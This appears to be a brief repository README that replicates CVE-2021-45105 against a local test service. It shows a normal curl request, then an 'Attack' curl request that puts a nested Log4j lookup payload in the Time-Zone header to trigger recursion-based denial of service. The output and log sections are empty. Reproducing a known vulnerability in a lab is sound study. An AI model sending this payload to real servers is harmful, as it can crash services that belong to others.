tejas-nagchandi/CVE-2021-45105

Replicating CVE-2021-45105

tejas-nagchandi/CVE-2021-45105

Replicating CVE-2021-45105

API

curl -I localhost:8080/currentDateTime -H 'Time-Zone: GMT'

Output:

Attack

 curl -I localhost:8080/currentDateTime -H 'Time-Zone: ${${::-${::-$${::-$}}}}'

Output:

Logs:

Reference:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105